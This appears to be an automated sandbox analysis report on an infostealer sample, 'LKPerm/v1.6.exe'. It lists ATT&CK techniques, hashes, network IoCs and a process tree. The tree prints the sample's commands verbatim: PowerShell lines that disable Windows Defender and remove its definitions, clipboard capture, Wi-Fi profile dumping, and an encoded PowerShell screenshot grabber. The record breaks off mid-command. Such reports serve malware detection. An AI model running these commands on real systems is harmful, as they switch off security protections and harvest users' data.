b27d30cc8840d9a86756321934a59f51ea43039cfc7f984ee730a60a7a0f55da

Analysis

max time kernel
146s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
02/11/2024, 17:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
LKPerm/v1.6.exe
Size 11.4MB
Sample241102-v39k3a1dln
SHA256 9e634bf546cd967713e6bd21e72e776d88fcb50cf71bc4000e73e34ad3321097
MD5 7a2d0834bea78bcb154732069d847f2d
SHA1 4d5a873de9e961222186a18ff681020870734c8d
SHA512 48aa46588559c968ce626e52148aa0027e55fa5e43cc9c3a3e2b8793144ef48329a7b3f58bb87e27e7ec2e69c0c116421fad9ba00215216fb997d0e03bf0cc6c
SSDEEP 196608:IhJ9gazB9fmG/RwDQt2IJz/P+gw443BCzm0Oh47+lE/VCkC6Rc:Aw0BNKL2w443Bkf+ITR
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2052	powershell.exe
3804	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
4924	v1.6.exe
3264	plugin.exe
3844	sdp.exe

Loads dropped DLL 56 IoCs

pid	Process
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
4924	v1.6.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3264	plugin.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe
3844	sdp.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1204	powershell.exe
3140	powershell.exe
3144	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
14	pastebin.com
21	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LastUsedUsername = "YsI4vkDYy"	sdp.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\KTPerm.punpun	v1.6.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
4008	tasklist.exe
4604	tasklist.exe
3560	tasklist.exe
5000	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2828	cmd.exe
1384	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3156	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
232	systeminfo.exe

Modifies registry class 4 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1204	powershell.exe
1204	powershell.exe
2052	powershell.exe
2052	powershell.exe
2052	powershell.exe
1204	powershell.exe
1204	powershell.exe
1204	powershell.exe
3140	powershell.exe
3140	powershell.exe
4704	powershell.exe
4704	powershell.exe
3144	powershell.exe
3144	powershell.exe
2760	powershell.exe
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2216	WMIC.exe
Token: SeSecurityPrivilege	2216	WMIC.exe
Token: SeTakeOwnershipPrivilege	2216	WMIC.exe
Token: SeLoadDriverPrivilege	2216	WMIC.exe
Token: SeSystemProfilePrivilege	2216	WMIC.exe
Token: SeSystemtimePrivilege	2216	WMIC.exe
Token: SeProfSingleProcessPrivilege	2216	WMIC.exe
Token: SeIncBasePriorityPrivilege	2216	WMIC.exe
Token: SeCreatePagefilePrivilege	2216	WMIC.exe
Token: SeBackupPrivilege	2216	WMIC.exe
Token: SeRestorePrivilege	2216	WMIC.exe
Token: SeShutdownPrivilege	2216	WMIC.exe
Token: SeDebugPrivilege	2216	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2216	WMIC.exe
Token: SeRemoteShutdownPrivilege	2216	WMIC.exe
Token: SeUndockPrivilege	2216	WMIC.exe
Token: SeManageVolumePrivilege	2216	WMIC.exe
Token: 33	2216	WMIC.exe
Token: 34	2216	WMIC.exe
Token: 35	2216	WMIC.exe
Token: 36	2216	WMIC.exe
Token: SeDebugPrivilege	4008	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2216	WMIC.exe
Token: SeSecurityPrivilege	2216	WMIC.exe
Token: SeTakeOwnershipPrivilege	2216	WMIC.exe
Token: SeLoadDriverPrivilege	2216	WMIC.exe
Token: SeSystemProfilePrivilege	2216	WMIC.exe
Token: SeSystemtimePrivilege	2216	WMIC.exe
Token: SeProfSingleProcessPrivilege	2216	WMIC.exe
Token: SeIncBasePriorityPrivilege	2216	WMIC.exe
Token: SeCreatePagefilePrivilege	2216	WMIC.exe
Token: SeBackupPrivilege	2216	WMIC.exe
Token: SeRestorePrivilege	2216	WMIC.exe
Token: SeShutdownPrivilege	2216	WMIC.exe
Token: SeDebugPrivilege	2216	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2216	WMIC.exe
Token: SeRemoteShutdownPrivilege	2216	WMIC.exe
Token: SeUndockPrivilege	2216	WMIC.exe
Token: SeManageVolumePrivilege	2216	WMIC.exe
Token: 33	2216	WMIC.exe
Token: 34	2216	WMIC.exe
Token: 35	2216	WMIC.exe
Token: 36	2216	WMIC.exe
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeDebugPrivilege	3844	sdp.exe
Token: SeDebugPrivilege	4604	tasklist.exe
Token: SeDebugPrivilege	3560	tasklist.exe
Token: SeDebugPrivilege	5000	tasklist.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeIncreaseQuotaPrivilege	4948	WMIC.exe
Token: SeSecurityPrivilege	4948	WMIC.exe
Token: SeTakeOwnershipPrivilege	4948	WMIC.exe
Token: SeLoadDriverPrivilege	4948	WMIC.exe
Token: SeSystemProfilePrivilege	4948	WMIC.exe
Token: SeSystemtimePrivilege	4948	WMIC.exe
Token: SeProfSingleProcessPrivilege	4948	WMIC.exe
Token: SeIncBasePriorityPrivilege	4948	WMIC.exe
Token: SeCreatePagefilePrivilege	4948	WMIC.exe
Token: SeBackupPrivilege	4948	WMIC.exe
Token: SeRestorePrivilege	4948	WMIC.exe
Token: SeShutdownPrivilege	4948	WMIC.exe
Token: SeDebugPrivilege	4948	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4948	WMIC.exe
Token: SeRemoteShutdownPrivilege	4948	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3132	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 4924	1100	v1.6.exe	81
PID 1100 wrote to memory of 4924	1100	v1.6.exe	81
PID 4924 wrote to memory of 1920	4924	v1.6.exe	82
PID 4924 wrote to memory of 1920	4924	v1.6.exe	82
PID 1920 wrote to memory of 4688	1920	cmd.exe	84
PID 1920 wrote to memory of 4688	1920	cmd.exe	84
PID 1920 wrote to memory of 768	1920	cmd.exe	85
PID 1920 wrote to memory of 768	1920	cmd.exe	85
PID 4688 wrote to memory of 3264	4688	plugin.exe	87
PID 4688 wrote to memory of 3264	4688	plugin.exe	87
PID 3264 wrote to memory of 1924	3264	plugin.exe	88
PID 3264 wrote to memory of 1924	3264	plugin.exe	88
PID 3264 wrote to memory of 3592	3264	plugin.exe	90
PID 3264 wrote to memory of 3592	3264	plugin.exe	90
PID 3264 wrote to memory of 3532	3264	plugin.exe	92
PID 3264 wrote to memory of 3532	3264	plugin.exe	92
PID 768 wrote to memory of 3844	768	sdp.exe	93
PID 768 wrote to memory of 3844	768	sdp.exe	93
PID 3592 wrote to memory of 4008	3592	cmd.exe	95
PID 3592 wrote to memory of 4008	3592	cmd.exe	95
PID 3532 wrote to memory of 2216	3532	cmd.exe	96
PID 3532 wrote to memory of 2216	3532	cmd.exe	96
PID 1924 wrote to memory of 1204	1924	cmd.exe	130
PID 1924 wrote to memory of 1204	1924	cmd.exe	130
PID 3844 wrote to memory of 2688	3844	sdp.exe	100
PID 3844 wrote to memory of 2688	3844	sdp.exe	100
PID 3844 wrote to memory of 1708	3844	sdp.exe	101
PID 3844 wrote to memory of 1708	3844	sdp.exe	101
PID 3264 wrote to memory of 4768	3264	plugin.exe	102
PID 3264 wrote to memory of 4768	3264	plugin.exe	102
PID 3264 wrote to memory of 4752	3264	plugin.exe	103
PID 3264 wrote to memory of 4752	3264	plugin.exe	103
PID 4768 wrote to memory of 4604	4768	cmd.exe	106
PID 4768 wrote to memory of 4604	4768	cmd.exe	106
PID 4752 wrote to memory of 3560	4752	cmd.exe	107
PID 4752 wrote to memory of 3560	4752	cmd.exe	107
PID 3264 wrote to memory of 784	3264	plugin.exe	108
PID 3264 wrote to memory of 784	3264	plugin.exe	108
PID 3264 wrote to memory of 3804	3264	plugin.exe	109
PID 3264 wrote to memory of 3804	3264	plugin.exe	109
PID 3264 wrote to memory of 2116	3264	plugin.exe	110
PID 3264 wrote to memory of 2116	3264	plugin.exe	110
PID 3264 wrote to memory of 4964	3264	plugin.exe	114
PID 3264 wrote to memory of 4964	3264	plugin.exe	114
PID 3844 wrote to memory of 3284	3844	sdp.exe	136
PID 3844 wrote to memory of 3284	3844	sdp.exe	136
PID 3264 wrote to memory of 2828	3264	plugin.exe	117
PID 3264 wrote to memory of 2828	3264	plugin.exe	117
PID 4964 wrote to memory of 1836	4964	cmd.exe	118
PID 4964 wrote to memory of 1836	4964	cmd.exe	118
PID 2116 wrote to memory of 5000	2116	cmd.exe	119
PID 2116 wrote to memory of 5000	2116	cmd.exe	119
PID 3264 wrote to memory of 3908	3264	plugin.exe	120
PID 3264 wrote to memory of 3908	3264	plugin.exe	120
PID 3804 wrote to memory of 2052	3804	cmd.exe	122
PID 3804 wrote to memory of 2052	3804	cmd.exe	122
PID 3264 wrote to memory of 2856	3264	plugin.exe	124
PID 3264 wrote to memory of 2856	3264	plugin.exe	124
PID 784 wrote to memory of 4948	784	cmd.exe	126
PID 784 wrote to memory of 4948	784	cmd.exe	126
PID 3264 wrote to memory of 1928	3264	plugin.exe	162
PID 3264 wrote to memory of 1928	3264	plugin.exe	162
PID 2828 wrote to memory of 1384	2828	cmd.exe	129
PID 2828 wrote to memory of 1384	2828	cmd.exe	129

C:\Users\Admin\AppData\Local\Temp\LKPerm\v1.6.exe
"C:\Users\Admin\AppData\Local\Temp\LKPerm\v1.6.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Users\Admin\AppData\Local\Temp\onefile_1100_133750423565657814\v1.6.exe
  C:\Users\Admin\AppData\Local\Temp\LKPerm\v1.6.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "plugin\run.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Users\Admin\AppData\Local\Temp\LKPerm\plugin\plugin.exe
      "C:\Users\Admin\AppData\Local\Temp\LKPerm\plugin\plugin.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4688
    - - C:\Users\Admin\AppData\Local\Temp\onefile_4688_133750423600129149\plugin.exe
        
        C:\Users\Admin\AppData\Local\Temp\LKPerm\plugin\plugin.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3264
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1924
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1204
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3592
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4008
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3532
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2216
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4768
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4604
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4752
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3560
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:784
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4948
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        6⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:3804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        7⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2052
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2116
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5000
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4964
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:1836
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2828
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1384
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        
        PID:3908
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:232
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        6⤵
        
        PID:2856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgAC